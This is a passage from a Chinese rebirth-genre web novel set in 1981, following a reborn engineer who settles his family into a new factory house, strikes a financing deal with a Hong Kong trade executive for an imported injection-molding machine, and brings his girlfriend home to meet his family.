朱桂芳忍不住埋怨:“爸,我早让你别跟着,你看这下遭罪了吧,非得把
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自己折腾出毛病来!”
“命硬着呢,坐个三轮车而已,能有啥问题?”
朱守正拍了拍裤腿上的灰,胸脯一挺,刚要继续逞强,突然脸色骤变,胃部一阵翻涌。
“哇啊!”
他踉跄着蹲下身,又吐了个昏天黑地。
朱桂芳又急又气,无奈地摇头叹气——都快七十岁的人了,这脾气还跟个倔娃娃似的,说什么都不听。
几人只能原地等着,待朱守正彻底缓过劲儿不再呕吐,才照着杜国强给的地址,往八零厂赶去。
刚到八零厂门口,就见蒋秀秀快步迎上来,一把扶住朱桂芳:“婶子,您可算来了!”
朱桂芳一愣,惊喜道:“杜源媳妇,你咋在这儿?”
蒋秀秀笑着解释:“这就是我们厂子,我和杜源都在这儿上班。”
朱桂芳更纳闷了,眉头一皱:“咦?国强不是跟你俩不在一个厂吗?咋让我来这儿住?”
蒋秀秀抿嘴直乐,轻轻摇头:“您那儿子可有本事了,想要哪儿的房子要不来?走,我带您瞧瞧新家去!”
蒋秀秀领着朱守正一家老小来到杜国强分到的房子前。
推开房门的瞬间,朱桂芳和朱守正直勾勾盯着屋内,满脸惊愕。
“这、这真是分给我们家的房子?”
朱桂芳声音发颤,手指紧紧攥着衣角。
蒋秀秀笑着点头:“没错,就这套!”
朱桂芳这辈子哪见过这样敞亮的屋子?
她自幼在农村长大,住的是泥巴糊墙、茅草盖顶的土坯房,成家后依然守着漏风漏雨的老屋。
过去她只盼着一家人平安度日,从不敢奢望住房能有啥改变,可如今竟能住进城里单位分配的大砖房,窗明几净,墙面平整,这场景恍若做梦一般。
一旁的朱守正更是彻底傻了眼,活脱脱像刘姥姥进大观园,局促得手脚都不知往哪放。
他皱着眉头,狐疑地盯着蒋秀秀,压低声音问:“姑娘,你跟国强该不会合伙演戏骗我们吧?这房子,莫不是人贩子的窝点?”
第31章 外孙媳妇
“爸,让你回家少看点报纸,哪来那么多人贩子?”
朱桂芳脸臊得羞红,这老爷子当着自己外甥媳妇的面,给自己丢脸呢。
“再者说了,要拐也拐不到你头上。七老八十了,给人家当爷爷的份都够。”
“嘿,咋说话呢?我可是你爹。”
朱守正瞪了自己闺女一眼,“谁知道那小子藏了什么祸心,尖嘴猴腮的。我不得多问问吗?”
“叔。”
蒋秀秀笑了笑道:“哎呀,您老就放心吧。这确实是厂子里分给您外孙子的,就这房,多少城里的人都分不到呢,咋会是人贩子住的?”
“来,进来瞅瞅。”
蒋秀秀掏出把古铜色的钥匙,在门栓上捣鼓了两下,将门打开。
想了想,又将钥匙放在了朱桂芳手上。
“以后您可得执掌这钥匙了。”
几人跟在蒋秀秀身后走了进来,屋内的亮堂让朱守正这个农村来的老汉有些迟疑,他扭捏地在门槛前蹭了蹭自己的鞋底子,生怕泥土疙瘩掉进家里。
“这地板还是瓷砖做的呢。”朱守正用自己满是老茧的手摸了摸,上下打量着这个房子,比自己当初盖房子还要认真。
朱守正走到里屋,感受到那暖洋洋的阳光透过玻璃窗户洒进来,照得人忍不住想蜷起来小睡一会儿。
“这光透亮的。”
朱守正开口称赞道:“放在村子里,也不知道要有多少多嘴婆子躺在这太阳底下闲扯。”
蒋秀秀笑着眯起了眼睛:“叔,你把鞋脱了,上炕感受感受。”
“这咋行?那不是得给弄脏?”朱守正听了,吃了一惊,连着摇了摇头。
朱桂芳昂首站了出来:“怕啥?这是你外孙子分的房子,还不能让自个姥爷上炕坐会儿了?”
朱桂芳这辈子没怎么孝敬过自己父亲,家里穷,心里一直有愧。
眼下总算是等来了自己孝顺的时候,这面子还是自己儿子给挣回来的,她觉得此刻也算是扬眉吐气了。
“就是,叔,你上去试试。”听到众人再三的劝说。
朱守正试探地问道:“那我就上去试试?”
他脱了鞋,往炕上一坐,盘着腿,依靠在刷过大白的墙壁上,像是坐在村里的家里一样,一点都不生疏了。
“是了,这是我外孙分来的房子。”他点了点头。
“还有茶叶呢。杜国强特地从供销社里买的新茶沫子,我咋忘给你们泡上了?”
蒋秀秀说着就往厨房走。
朱桂芳低声呵斥两个闺女:“还不去帮你嫂嫂忙活去!”
安安和乐乐意犹未尽地瞅了瞅这新房子,跟在蒋秀秀后面,前往院子里的灶房。
“爸,您这回放心了吧?您这外孙可真是孝顺呢。”朱桂芳笑着说道。
“瞧把你得意的。”朱守正冷哼一声,不过也难得地没有反驳。
正当这时,房门再次被推开,回来的不是蒋秀秀,而是杜国强。
他手里提着大包小包,满满当当的,都是收拾好的日后所需的家居用品、柴米油盐,还有造糖厂的新产品——玉米软糖。
“妈,您可算来了。我听李天水**说了,说你们是坐农用三轮车回来的,那这一路上可是颠得很。”
杜国强极为热情地跟自己亲妈谈论着,望向自己姥爷时却只是尴尬地摸了摸鼻子,喊了声“姥爷”。
朱守正也板着脸,只是“嗯”了一声。
两人从小不对付惯了,平时遇到事情都是躲着走的。
后来杜国强跟家里闹翻,姥爷朱守正更是跟杜国强破口大骂。
眼下再遇到,虽然是重生之后,可也难免有些尴尬。
“跟妈说说,这房子是咋租到的?我听不少人都说了,说现在不少城里人都没地方住。一些领导干部的子女都得跟爹妈挤在一块。”
“甚至有的地方的人在想着再来一次知青下乡解决住房和就业问题呢。你咋就能分到房子呢?”
杜国强笑了笑,道:“妈,您放心吧,您儿子现在可算是高级人才,刚到的公司都急着挖我过去呢。”
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杜国强把自己得到房子的前因后果,同朱桂芳讲了讲。
一旁的朱守正虽装作不在意,可还是忍不住凑着耳朵听着。
听到杜国强拒绝了年薪15万的工作时,朱桂芳和朱守正都震惊了,纷纷觉得这小子疯了,这么大一笔钱都不接受。
可在听到杜国强想要建设祖国内地的想法后,两人都不由自主的生出了一些敬佩。
朱守正的亲爹跟着大部队走过那赤色草地,骨子里还是怀着一腔热血的。
听到自己外孙做出如此事迹,朱守正还是忍不住开口了:“小子,干得不赖。你也算是对得起自己的良心。”
朱守正摸摸索索从自己的蓝布帽子里面抽出了两张黢黑的票子,从炕上跳下来,将其塞在了杜国强的手上——两张大团结。
杜国强吃了一惊:“姥爷,这钱我不能拿。”
这20块钱,对于农村来说绝对不是个小数目。
现在,城里的工人一个月也就能挣个三四十块,对农村来说更是难得。
这20块钱,有可能是朱守正三个月甚至四个月的收入,绝对攒了很长时间。
“拿着!”
朱守正的态度很强硬:“这跟你那刚到的天价工资比不了,但是应急还是够的。这房子我看不错,不用在装修上花大钱。拿着这个钱给家里置办几套铺盖,也算是不辱没了这套房子。”
多好的场面呀!姥爷和外孙打成一片。
一旁的朱桂芳看得感动极了,“国强,你爷爷给你,你就拿上吧。不要辜负了他就成。”
杜国强也只好无可奈何地将钱收了起来,“那行吧,姥爷,我就相当于这是您给外孙媳妇的见面钱了。”
“外孙媳妇”这几个字一出,全屋的人都愣住了,就连刚刚端着茶水进屋的蒋秀秀都吃了一惊:“杜国强,你有对象了?”
杜国强点了点头,道:“嫂子,你见过的,就是我那天带到你那的那个女同学。一会你们把屋子收拾收拾,她来上门吃个饭。”
第32章 认错人了?
“你多会有的对象?”
“谁家的闺女?
“这么大的娃娃处什么对象?”
一时间七嘴八舌的询问声朝着杜国强**过来。
大有前世媒婆在相亲角询问相亲对象时,那种恨不得刨人家祖坟的感觉。
杜国强被眼前的阵仗吓了一跳。
他倒是没想到自个家里对这件事竟如此看重。
想想也难怪,自己平时毕竟是个后世人,思想早已经接受了几十年后的潮流。
甚至自己孙女搞自由恋爱时,自己第一个跳出来支持。
眼下套在八一年,思想却有些过于开放了。
“各位祖宗,你们就别问这么细了。”杜国强灌了自己两口茶水,抬起手来,“我向天发誓,我们是自由恋爱。没有婚前关系,合法合规,坚决拥护伟大的社会主义思想。”
蒋秀秀也噗嗤笑了出来:“婶子,你们就放心吧,我见过那孩子了,皮相好着呢。跟杜国强一个学历,不知道有多少城里娃娃想跟人家找对象呢。杜国强和人家处上对象,老杜家族上要冒青烟了。”
杜国强坚决反对:“嫂子,你说什么呢?啥就我们家祖上冒青烟了?分明是刘静怡她高攀我,我是鲜花,她是牛粪。”
“嘿,说你胖你还喘上了。”
蒋秀秀白了杜国强一眼,接着开口对朱桂芳说道,“那婶子,咱们借着这个由头,顺便就在这屋子里开火。新媳妇上门吃新饭也算是不赖,我看杜国强买的材料挺全的。”
“对对对,都听你的。”
朱桂芳一下子有些被这个消息冲昏了头脑,慌不择路地点了点头,“哎呀,咋就新媳妇上门了?我还想着得再过几年呢。”
看见蒋秀秀跟自己亲妈火急火燎的在屋子里开始忙活,一副要发疯的样子,杜国强也不敢再上去触这个眉头。
生怕因为没有事先通知这件事被朱桂芳数落,他扭头望向了自己两个妹妹。
“在姥爷家吃的好吗?”
两个妹妹很是懂事的点了点头。
“吃的什么?”
“萝卜白菜炖粉条。”
两个妹妹起身说道。
杜国强瞅了瞅两人皮包骨的身材,忍不住叹了口气。
这年头想吃口肉真是太难了。
直到现在,他们每个月也只能分上四五两的肉票,平日饭菜里连个肉丝丝都见不到,尤其还是在乡下,日子过得更加是艰难。
想到这,杜国强就有些心生愧疚,自己在城里倒是每天吃香的喝辣的。
“听说八零厂今天杀了好几只猪。厨师长给厂里的干部开小灶,弄了两副肥肠。想不想吃溜肥肠?”
两个妹妹一听这话,咕咚一下咽了口口水,但却纷纷懂事地摇头。
“妈妈说了,我们不能乱花哥哥的钱。”
杜国强爽朗一笑,将两个妹妹分别扛在了自己的左右肩头。
“没事,以后你哥要赚大钱呢!”说着,他也没跟亲妈打声招呼,带着两个妹妹就前往了小食堂。
他躲了清静,家里反倒是越来越忙碌了。
蒋秀秀负责在厨房里炒菜,朱桂芳则是跟老爷子两个人在家里摘着豆角,洗着菜,忙得满头大汗。
“这混小子又上哪去了?自个对象一会上门都不操心。”
朱守正气得直骂娘,“刚才才夸了这小子几句,转眼就又捅幺蛾子。”
朱桂芳也有些无语,自己这儿子怎么感觉最近几个月性格变化这么大?
要是照在以前,非得安排个事无巨细不可。
“请问杜国强在家吗?”
就在这时,房门外突然响起了一道声音,紧接着一道穿着靓丽、模样端庄,穿着黑色皮衣的女子走了进门。
朱桂芳和朱守正发愣地盯着面前的女孩,她身上精致的打扮,是他们这些乡下来的人从来都没见过的。
城里人现在都穿这些了?这家庭条件一看就很好啊。
朱桂芳心里有些慌乱,咳嗽了两声,勉强摆出了笑容,“姑娘,阿姨还以为你等会才来呢。来,快坐。”
招呼女孩坐下之后,朱桂芳的大脑一片空白,忍不住求助般的问向自己亲爹:“爸,接下来的流程是干啥?”
朱守正也是一脸慌张,哆哆嗦嗦的又从自己蓝帽
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子里掏出两张票子来,递在了女孩手中:“上门钱。”
“啥玩意?”竹青莲被这一幕给整蒙了,一脸愕然的盯着两人。
现在内地竟然有这种习俗吗?
上别人家串门还要领上门钱?
上次跟杜国强在办公室谈的合作,以杜国强的拒绝为终。
回去之后,竹青莲越想越觉得可惜。
于是费尽了心思,从八零厂朱厂长那里讨来了杜国强现在的居住地址,打算亲自上门跟他谈一谈。
可是眼下,这两位应该是杜国强的长辈吧?
对于自己这么一个客人,是不是太过热情了?
竹青莲颇为犹豫的接过了那钱,艰难的开口问道:“阿姨,杜国强不在家吗?”
一旁的朱守正顿时急了:“还叫阿姨?该改口了吧,孩子。叫妈!”
“啊?”
竹青莲彻底懵逼。
朱桂芳咳嗽了一声,拉了拉自己的亲爹:“爸,现在改口是不是太早了?啥准备都没呢,也许人家年轻人之间现在不兴这一套了。”
竹青莲终于明白发生了什么,慌忙地站了起来:“阿姨,我觉得你们是搞错了什么。我跟杜国强就是工作上的朋友,今天来是谈合作的……”
她话音未落,就见朱桂芳和朱守正对视一眼,手里的水果瓜子差点掉在地上,满屋子突然都安静了下来。
“你不是刘静怡吗?”朱桂芳试探性地问道,目光紧紧盯着眼前的姑娘。
竹青莲慌乱地整了整衣襟,声音带着几分局促:“我叫竹青莲,港岛人。”
朱家父女俩瞬间僵住,脸上的笑意凝固成尴尬。
朱桂芳手忙脚乱地擦着额头上的汗:“闺女,那可能是我们搞错了。我们要等的是刘静怡。”
竹青莲长舒一口气,紧绷的肩膀松懈下来:“这就好这就好。”
她忙不迭将攥在手里的20块钱递回去,“那改口钱……”
“当然当然!”朱桂芳几乎是条件反射般抓住钞票。
竹青莲暗自庆幸,还以为是什么令人难堪的内地习俗,差点稀里糊涂收了这笔“冤枉钱”。
第33章 我们是合作伙伴
朱桂芳自问活了四五十年,一生中经历过不少大场面。
一个农村女人拉扯着几个孩子艰难度日,早就造就了她一副不怕艰难的品格。
可是眼下却迎来了她一生中最为难熬的时光。
认错儿媳妇这事,古来今看,恐怕都没有几回。尤其这姑娘还长得不错,要是真成了自个儿儿媳妇该多好。
三个人局促的站在屋内,坐也不是,站也不是。
直到在外面炒菜的蒋秀秀回来,矛盾才化解了不少,几个人坐在椅子上有一句没一句的唠嗑。
过了一个多时辰,杜国强总算带着两个吃得油头满面的妹妹回到了家里。
“杜国强,你小子死哪去了?”
朱守正顿时火爆三丈地拍了拍桌子,咬牙切齿地骂道,“这么关键的时候还往外跑,一点都不省心。”
杜国强愣了一下,道:“我带着安安和乐乐出去玩玩,咋了吗?”
“你不是说你对象要上门吗?咱还这么吊儿郎当,也不说准备准备,害得我们把人家港岛姑娘当成了你对象。”
杜国强这才看见了竹青莲,有些吃惊地上前跟竹青莲握了握手,“竹女士,您怎么来了?”
竹青莲长呼了一口气道:“我想跟你谈谈上次的事情,但是眼下你家里可能不太方便。不知道能不能一会跟我出去一趟,听说镇元楼的茶叶相当不错,里面有些茶达到了外汇级别,请你尝尝。”
“好的,请稍等我一下。”
杜国强哭笑不得地跟家里人说道:“亲妈哎,现在都下午一两点了。人家咋可能这个点上门吃午饭吗?肯定要等着吃晚上饭。你们也别太着急——平常心,就是上门来吃个饭,结婚的事还早着呢。”
一番解释后,杜国强跟着竹青莲走出了家门。
听到新媳妇晚上才上门,几人这才松了口气。
朱守正小声地嘀咕道:“这小子,我就说嘛,人家这姑娘这么时髦。咋可能跟杜国强这个土包子要结婚吗?”
......
“你妈刚才给我改口钱了。”竹青莲一上来就抛出了重磅**,把杜国强给惊得不轻。
“原来是认错了,我就说嘛,内地现在的生活未免过得太好了。即便是在港岛,长辈也很少有一次给小孩20块零花钱的时候。”
竹青莲轻轻笑了笑,如同春风里的荷塘叶一般温顺,落落大方。
“都怪我没跟家里人交代清楚,让您受惊了。”
杜国强尴尬地道歉。随后主动转移话题,“话说您今天来还是要找我谈前往港岛的那件事吗?”
竹青莲点了点头,重新从自己的皮包里掏出了一份合同:“我觉得上次的那份合同,薪资方面可能满足不了你。这次我在原有合同的基础上增加了5万,并且可以为你在港岛提供一套高规格保障性住房。只要你一直在我们玛瑞贸易工作,这套房子就可一直为你保留。”
饶是杜国强不关心房地产,但也知道,即便是在80年代,香港的土地也是寸土寸金,本地人都挤在几平米的笼屋里,住宿条件极为恶劣。
而竹青莲一张口便要为自己提供一套高规格住房,按面积来算也应该最少有七八十平米,还要外加20万的薪资。
杜国强深吸了一口气道:“竹女士,您这份条件有些过于优越了,我实在是很想答应。”
竹青莲皱了皱眉头,道:“你这句话后面,应该还有个但是?”
杜国强苦笑地点了点头:“但是,我的态度依旧和上次是一样的。我觉得未来我在内地的发展要远远大于我去港岛做一个部门经理。”
“那就没什么好谈的了。”竹青莲的态度唰一下冷了下来。
她向来是个雷厉风行的人,邀请了杜国强一次,又加大条件邀请了第二次,但她绝对不会再低下头去请他第三回。
说着,竹青莲便要买单离开茶楼。
杜国强赶忙站起,伸手将对方拦了下来,深吸了一口气道:“竹女士,你先等一下,我为玛瑞
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贸易干活这事不是不可能,只不过这个模式我们得换一换。”
竹青莲皱了皱眉头:“你指的是?”
杜国强道:“合作,我们之间的关系是合作,而不是单纯的我为玛瑞贸易工作。”
竹青莲双臂抱胸,锐利的目光将杜国强从上到下扫了个遍。
“杜先生,玛雅集团看重的,是你出神入化的作图能力。就算是港岛顶尖的工业设计师,在这方面也未必能与你比肩。”
她顿了顿,“但也仅此而已。办企业需要的是统筹全局的本事,光靠画图技术,根本撑不起一家成熟的公司。想和玛雅集团合作,起码得是能匹配的正规企业——你现在的条件,远远不够。”
杜国强嘴角勾起一抹从容的笑意,丝毫不被对方的威压撼动。
“商业场上,例外往往才是打破常规的关键。除了图纸,我能为玛雅集团带来的,远比你想象的更多。”
“具体指什么?”
杜国强道:“能做的太多,一时说不清,但可以先证明给你看。”
他问:“竹女士目前掌握几门语言?我猜是普通话、粤语、英语?”
见竹青莲点头。
杜国强道:“巧了,这三门我也精通。另外——德语、日语、西班牙语,我照样能流利交流。”
竹青莲轻轻用茶杯叩击着桌面,“掌握一门语言需要长期浸润,据我所知,内地连基础外语课都未必普及,杜先生却说自己精通多门外语?”
“Allesistm?0?2glich.”杜国强道。
“什么意思?
“德语——凡事皆有可能。”杜国强语气平淡道:“如果不信我所说的,竹女士不妨用粤语或英语考我。”
“好啊。”竹青莲嘴角微微扬起,吐出了工业方面的英语提问。
然而话音未落,杜国强迅速回应,不仅口音标准,甚至连行业俚语都运用得恰到好处。
竹青莲瞳孔骤缩道:“你……你真的精通外语?”
第 34章 欠条
竹青莲面露惊讶之色,杜国强说的是真的?
单论英语,杜国强的发音标准倒是得很,甚至比自己还要地道几分。
她忍不住开口问道:“你既有精湛的绘图本领,又精通语言。凭能力,就算去专门的部门从事翻译工作都绰绰有余,怎么会屈身在这小小的工厂,整日和工件打交道呢?”
此前,竹青莲去拜见几位政府领导时,对方还托她从港岛物色些精通外语的人才。
杜国强作为土生土长的本地人,若有这般出众的能力,本该早早被提拔重用才是。
竹青莲所言确实不假。
杜国强心里清楚,当下这个时代,翻译人才短缺的情况已到了令人咋舌的地步。
历经前些年的动荡,国内教育体系摇摇欲坠,许久都没能培养出像样的翻译人才。
这一弊端在国家加**合国后彻底暴露无遗。
由于缺乏专业翻译,国内在联合国会议上传达意见时困难重重。
为此,联合国与国内商议后,专门成立了针对联合国事务的翻译人才培训班,可最终合格结业者却寥寥无几。
优秀的翻译人才成了“香饽饽”,各地都抢着用,恨不得把一个人掰成两半使。
今天这个企业借去翻译文献,等工作一结束,翻译就得连夜坐火车赶回原单位,接着处理下一个任务。
听说外交部有位出色的翻译,原本有机会前往联合国工作,可国内的翻译任务堆积如山,换作他人又难以胜任,无奈之下,只能放弃这个机会,继续留在外交部忙碌。
杜国强深信,只要自己适当展现语言天赋,并证明自己的本土身份,打消间谍嫌疑,必定能得到重用。
不求能当上高级干部,但至少有机会进入省里甚至京城的部门工作。
然而,这并非杜国强的理想。
在他看来,翻译和绘图不过是傍身的技能罢了。
他真正的抱负,是实现工业化的宏伟蓝图,将脑海中的知识转化为推动国家发展的动力。
当然,要是在追逐理想的过程中,还能改善个人生活,那自然再好不过。
杜国强轻咳两声,郑重地对竹青莲说道:“还请林女士暂时替我保密,我会别的语言这件事,目前还不便告知他人。。”
竹青莲对杜国强愈发好奇。
自从来到大陆,她见过的大多是严肃刻板、不苟言笑之人,像杜国强这般神秘莫测、藏着诸多秘密的人,倒是头一回见。
“我倒要听听,你想和我谈什么合作。”竹青莲问道。
杜国强朝茶楼服务生招了招手,要了一壶龙井。
他先给竹青莲斟上茶,又给自己倒了一杯,随后从上衣口袋掏出一张白纸,取下别在袖口的钢笔。几笔匆匆写完后,便将纸条递给了竹青莲。
“欠条。”竹青莲喃喃自语,目光紧锁纸面,只见上面工整写着:“此证明杜国强今日与玛瑞贸易达成合作共识,向对方借款二十万元,委托玛瑞贸易购买高精尖注塑机。并在一年内还清借款,且至少为玛瑞贸易带来十万元收益。
“若未能达成目标,本人愿在接下来一年内,无偿为玛瑞贸易提供任何所需服务。”
竹青莲皱了皱眉头,道:“你要问我借钱买国外注塑机?据我所知,国内倒是有几家注塑机厂商。”
“但他们生产的都是低端产品。我需要的是国外那种高精度的。”杜国强道。
竹青莲语气斩钉截铁,“这根本不可能!”
“高性能注塑机的核心技术,现在正被国外封锁,大陆没办法获得授权。”
七八十年代是个极为特殊的时代。
这时间国内同多个西方国家建交。
双方印象改善,纷纷踏入蜜月期。
但同时,这些国家也在惧怕着这个立意东方的不同制度的大国,还怕国内崛起。
从军事到教育各个方面都进行了封锁,其中更是在巴统筹委员会中明确表示,对国内限制高等技术和工业设备的出口。
比较显著的就是计算机、机床和
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注塑机三个新时代工业结晶。
杜国强嘴角勾起一抹笑意:“玛瑞贸易合作伙伴遍布全球各行各业,不少科技公司都有你们的股份,把一台注塑机运到大陆,对你们来说根本不是难事。”
“退一步说,我也不需要最顶尖的设备,只要一台小型样机就够了。”
“一台样机?这倒不算太难。”
竹青莲眼神中透着疑惑,“可你要这东西做什么?难不成想原样复制一台出来?”
她紧盯着杜国强,语气里满是探究。
杜国强轻轻摇头道:“我想,或许能从样机里琢磨出一些关键技术要点。”
竹青莲蹙着眉道:“你有些异想天开了。”
“异想天开吗?或许是吧。”
杜国强神色平静,唇角勾起一抹意味深长的笑。
他心里清楚,在前世,正是自己牵头主持国内某*大型注塑机的研制项目,才成功打破国外技术封锁,让国产注塑机技术一举跻身世界一流水平,与发达国家比肩。
如今,那些曾经熟稔于心的技术要点,在岁月的冲刷下已逐渐模糊,这也是他执着索要样机的原因——唯有通过反复调试、拆解研究,才有可能重现前世的辉煌技术。
“总之,这就是我的条件。”
杜国强目光灼灼,语气笃定,“一年之内,我能用这台注塑机为玛瑞贸易创造至少十万的净收入。要是做不到,我就用技术来抵工资,任你们调配。”
竹青莲眼底泛起疑惑,望着杜国强眼中迸发出的锐利光芒,实在不解这份自信从何而来。
恍惚间,他此刻的模样竟与自己远在海外的父亲有几分相似。
她沉默片刻,最终提笔在欠条下方签下自己的名字,笑道:“有杜先生这样的人才牵头,即便最终失败了,但这投资我也觉得值。”
“那就祝我们合作成功!今晚还请您赏脸,到我家吃顿便饭。”
竹青莲轻轻摇头,苦笑道:“算了,我就不耽误你新媳妇上门了。”
第35章 新媳妇上门
杜国强并未强留竹青莲,一来两人交情尚浅,平日交流有限,对方之所以愿意反复修改合同、答应他的请求,多半是看中了自己远超时代认知的绘图能力;
二来,方才他实则打了一场心理战,才让竹青莲如此爽快应下合作。
“幸好我读过你的自传……”
杜国强望着竹青莲英姿飒爽地走出茶楼,喃喃自语。
后世竹青莲出过一本自传,杜国强专门研读过。
竹青莲在自传中,除了详述将玛瑞贸易打造成世界企业的历程,还深情追忆了家人。
她坦言,对自己人生影响最深的人是父亲,父亲的坚毅与果决吸引着竹青莲。
而杜国强正是巧妙利用这些文字,有意将自己的行事风格向竹父靠拢,试图在潜移默化中赢得她的好感。
若竹青莲当时能再冷静些,恐怕早已察觉端倪,甚至反悔合作。
“任你沉鱼落雁,闭月羞花,我却只想做你爹,你能如何?”
事情总算尘埃落定。
杜国强盘算着,等忙完自行车的事儿,就能着手准备注塑机的调试工作了。
届时得联系村里的李天水,让他那退伍的儿子尽快来城里报到——无论如何,得先捣鼓出些样品才行。
想到这儿,杜国强脚步轻快,没回自己的小院,而是径直朝着安阳厂家属附属楼走去。
他此行是去接刘静怡。
此前刘静怡收到杜国强的消息,听说杜国强要带她回家见家长。一脸错愕。
虽说她曾憧憬过与杜国强携手一生、相夫教子的日子,可那也该是十年后的事。
眼下两人交往不过短短几日,就要见家长,这节奏实在让她猝不及防。
但杜国强却不这么想。
他们前世今生加起来相识三四十年,那晚确定关系时,差点就生米煮成熟饭了,见父母不过是水到渠成的事。
到了刘静怡家,只见她两手被大包小包塞得满满当当:新鲜的雪梨、精致的各色糕点,还有两条包装考究的香烟。
“这些东西够吗?”刘静怡神色紧张,手指被勒出深红的印痕,“我怕第一次见面,东西带的少特地请供销社的阿姨帮着参谋挑选的。”
杜国强忍俊不禁,上前接过重物,道:“够了够了!那是我妈,又不是饕餮,没有猪一样的胃口。”
两人并肩往楼下走,刘静怡仰头看向杜国强,眼神里带着几分不安:“等会儿你可得多护着我,要是有做得不对的地方,你及时提醒。”
杜国强闻言,抬手比出发誓的姿势:“刘大小姐,你这条件堪称完美,哪还用得着我挑刺?不过……有一点确实不好。”他故意顿住,吊足了对方胃口。
刘静怡立刻追问:“不过什么?快说!”
“你有点贫乳。”杜国强清了清嗓子,压低声音打趣道,“吃什么补什么,平时多吃点豆腐。”
话音未落,他拔腿就往楼下冲。
刘静怡先是一愣,反应过来后脸颊瞬间涨得通红,跺着脚娇嗔一声,追了上去。
一进家门,杜国强便迫不及待地向家人介绍:“妈、姥爷,这就是我对象刘静怡。至于表嫂,你们肯定早就认识了。”
蒋秀秀热情地拉着刘静怡的手,将她安置在座位上。“那可不,我们可是睡过一个被窝的姐妹!”
朱桂芳率先回过神,急忙递上一杯水:“姑娘,喝点水润润喉!她眼里满是惊叹——刘静怡的容貌即便比起那位港岛来的竹青莲,竟也不遑多让。
“别光顾着上茶水啊!”杜国强眉梢含笑,故意拉长语调,冲家人挤挤眼,“改口费呢?之前给冒牌的都大方地甩出二十块,这会儿正牌儿媳来了,总不能比这个数少吧?”
“冒牌的?”
刘静怡杏眼圆睁,睫毛轻轻颤动,歪着头,一脸疑惑地望向杜国强。
杜国强将先前发生的事一五一十地讲给刘静怡听。
听罢,刘静怡瞪大了眼睛,满脸惊愕。
她怎么也没想到,杜国强的才华竟能引来港岛的老总亲自招揽。
……
“港岛都缺?工程制图真有那么重要?”刘静怡有些难以置信的开口道。
“当然!”杜国强神色认真道“但制图只是最基础
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的门槛,更关键的是吃透材料特性,摸清机械设计,只有把这些融会贯通,才能设计出真正符合标准的产品。”
杜国强打趣道:“以后你可得多钻研这些,争取当我的贤内助。说不定哪天,这些工作都得外包给你了。”
“谁要当你贤内助?我们还没……还没结婚呢!”刘静怡脸颊瞬间涨红,嗔怪地白了他一眼。
“哈哈,晚咯!”杜国强揽过她的肩膀,眼底满是戏谑,“进了我陈家的门,你这颗水灵灵的白菜,可就逃不出我这头猪的掌心了!”
……
晚餐准备得虽仓促,菜式却毫不含糊:肥而不腻的红烧肉、酥烂脱骨的猪肘子、豆腐炖土鸡、嫩炒猪肝,满满当当摆了一桌子。
这些食材本是杜国强买来孝敬母亲的,却被朱桂芳一股脑全用上了。
在她心里,儿媳妇进门是头等大事,这第一顿饭要是没招待好,两人闹了别扭,她能念叨一辈子。
在朱家热情的招待下,刘静怡渐渐放松下来,跟朱桂芳相处得愈发自然。
晚饭后,她主动帮着朱桂芳和蒋秀秀收拾碗筷,唠了会儿家常,便催着杜国强送自己回去。
傍晚的家属楼前,路灯散着朦胧的光,成团的蚊子绕着灯壁嗡嗡打转。
“我得走了,再待下去要被蚊子抬走了!”刘静怡不敢直视杜国强,低着头就往筒子楼里钻。
杜国强却一把拉住她,舔了舔嘴唇,语气带着玩味:“反正咱们都确定关系了,今晚我是不是能光明正大的睡这儿了?”
刘静怡脸色瞬间变得苍白,下意识往后退了一步,声音发颤:“你莫要胡说!这才刚开始,怎么就提住在一起?要是让伯母知道了,还以为我是那种不知检点的人呢!”
“那也不能让我这个男朋友一点福利都没有吧?”杜国强嘴角勾起一抹坏笑,盯着她,“不让我留宿,总得在其他地方表示表示?”
“什么意思?”刘静怡满脸疑惑。
话音未落,杜国强已经强势地扣住她的腰,扑在了刘静怡的脸蛋子上,在她脸上流了一脸口水。
第36章 倒真让我看走眼了
刘静怡生得一副小家碧玉模样,脸蛋娇嫩得仿佛能掐出水来。
那吹弹可破的肌肤,此刻在杜国强的动作下,泛起了淡淡的红痕。
杜国强一边忙活,一边调侃:“这是给你做面部按摩呢,你可别不知足。来,做按摩这事儿,得猛火猛攻才能见效果,我再给你按按。”
刘静怡很快便被逗得大汗淋漓,少女脸皮薄,她嗔怪道:“别、别弄了,口水都弄我一脸。”
趁着说话的机会,她赶忙抽开身子躲到一旁,生怕杜国强继续攻势不停。
两人这般打情骂俏,很快又拉扯到了一块儿,却丝毫没注意到,巷子口正有一双眼睛死死盯着这一幕。
……
“杜国强,我去你姥姥的!”
嘶吼声在巷子里响起。
说话的正是刘静怡的父亲刘占福。
此前,刘占福一直窝在桥洞下藏匿,心中实在挂念女儿,忍不住回来查看,生怕厂里的工人为难她。
可工人没见着,却瞧见了让他怒火中烧的一幕——自己含辛茹苦养了十多年的白菜,正在被猪*拱。
看着女儿,刘占福只觉一阵揪心,双眼都快喷出火来。
“妈的,早知道当初就不把这小子招进厂里了,这不是给自己挖坑吗?”
刘占福想扇自己一个嘴巴子。
他左右瞅了瞅,弯腰提起一块板砖,却又猛地顿住了脚步。
自己现在还背着整个自行车厂一万多块的外债……
刘占福无奈地叹了口气:“要是我在闺女身边该多好,肯定不会让这王八蛋趁虚而入!”
不过,刘占福也没打算这么轻易的放过杜国强,他打算一会好好警告一下这小子,以免这小子做出什么出格的事情,毁掉自己闺女的清白。
刘占福等啊等,路灯昏黄的光晕下,十几只蚊子围着他裸露的胳膊打转,不一会儿就叮出一个又一个大包。一个个肚子滚涨,也许剩下的“蚊生”里都没有吸得这么爽的时刻了,但是不要紧。
今晚反正是彻底被喂饱了。
刘占福一边烦躁地拍打着蚊子,一边骂骂咧咧:“这都半个时辰了,你再把我闺女脸给亲烂了!”
终于,两人在一阵长吻后恋恋不舍地分开。
刘静怡被送回了家里。
见状,刘占福二话不说,提着板砖就朝杜国强冲了过去。
……
杜国强冷不丁看见一个黑影横在身前,猛地吓了一跳。
他定睛一看,才认出是刘占福,有些尴尬地开口问道:“厂长,你在这干啥?”
“我在这干啥?当然是看你像猪啃食一样亲我闺女的脸!”
刘占福举起手中的板砖,一边骂骂咧咧地对着杜国强指指点点,一边啐了一口,“呸,不要脸,你这是趁虚而入!我闺女这才多大,还没到过门给你当媳妇的时候呢!”
杜国强恍然大悟,一脸愕然地指向刘占福:“厂长,没想到你还好偷窥这口!”
“胡扯,我是路过看见的!”刘占福顿时黑了脸,“我可警告你啊,以后对我闺女规矩点,别动不动搂搂抱抱的。年轻人还是要以自己的事业为主!”
